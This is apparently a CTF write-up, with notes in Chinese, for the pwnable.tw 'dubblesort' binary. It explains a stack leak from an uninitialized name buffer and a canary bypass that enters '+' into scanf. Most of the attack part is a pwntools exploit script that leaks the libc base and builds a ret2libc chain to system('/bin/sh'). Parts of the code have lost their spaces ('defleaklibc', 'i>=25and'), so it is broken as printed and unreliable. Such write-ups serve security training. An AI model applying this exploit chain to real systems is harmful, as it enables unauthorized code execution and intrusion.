[email protected]:~/Desktop/ctf/pwnable.tw$ ./dubblesort What your name :nottellyou Hello nottellyou ,How many numbers do you what to sort :4 Enter the 0 number : 6 Enter the 1 number : 7 Enter the 2 number : 1 Enter the 3 number : 2 Processing...... Result : 1 2 6 7
### 检查下保护 [email protected]:~/Desktop/ctf/pwnable.tw$ checksec dubblesort [!] Pwntools does not support 32-bit Python. Use a 64-bit release. [*] '/home/y11en/Desktop/ctf/pwnable.tw/dubblesort' Arch: i386-32-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
题目有2处输入,一处是输入name,另一处是输入排序数组的信息项数和项信息。
问题1
在name输入的地方,由于没有初始化栈数据,导致打印name时后面栈上数据被泄露
int name[16]; // [esp+3Ch] [ebp-50h] unsignedint v12; // [esp+7Ch] [ebp-10h]
v12 = __readgsdword(0x14u); sub_8B5(); __printf_chk(1, (int)"What your name :", v8); read(0, name, 0x40u); // 未初始化内存 __printf_chk(1, (int)"Hello %s,How many numbers do you what to sort :", (int)name);
[email protected]:~/Desktop/ctf/pwnable.tw$ ./dubblesort What your name :a Hello a ,How many numbers do you what to sort :3 Enter the 0 number : 0 Enter the 1 number : + Enter the 2 number : 0 Processing...... Result : 0 0 3217242607 [email protected]:~/Desktop/ctf/pwnable.tw$
.text:00000B10 loc_B10: ; CODE XREF: main+146↑j .text:00000B10 lea esp, [ebp-0Ch] .text:00000B13 pop ebx .text:00000B14 pop esi .text:00000B15 pop edi .text:00000B16 pop ebp .text:00000B17 retn
defleaklibc(): #gdb.attach(p) p.recvuntil("What your name :") p.sendline("AAAA"*6) buf = p.recvuntil("do you what to sort :").split(",")[0] b = buf.split('\n')[1] libaddr = u32("\x00"+b[:3]) if DEBUG: libaddr -= 0x1b2000#fix else: libaddr -= 0x1b0000#fix print (hex(libaddr)) return libaddr
defdubblesort(system_addr , binsh): #能不能pwn看脸 print ("[+] dubblesort >>>") p.sendline("36") for i in range(0,36): print (p.recvuntil("number : ")) if i == 24 : d = "+" elif i>=25and i <= 33: if i == 28: d = "+"# + if i == 29: d = str(system_addr) else: d = str(system_addr) #system_addr elif i == 34or i == 35: d= str(binsh) #binsh else: d = "0" print(d) p.sendline(d) p.recvuntil("Processing......") #gdb.attach(p) time.sleep(2) print (p.recvuntil("Result :")) print (p.recv()) print ("[+] dubblesort <<<") defmain(): libc = leaklibc() if DEBUG: s , sh = give_me_system_binsh(libc , "/lib/i386-linux-gnu/libc-2.23.so") else: s , sh = give_me_system_binsh(libc , "./libc_32.so_dubblesort.6") print ((s) , (sh)) dubblesort(s,sh) p.sendline('cat /home/dubblesort/flag') p.interactive() main()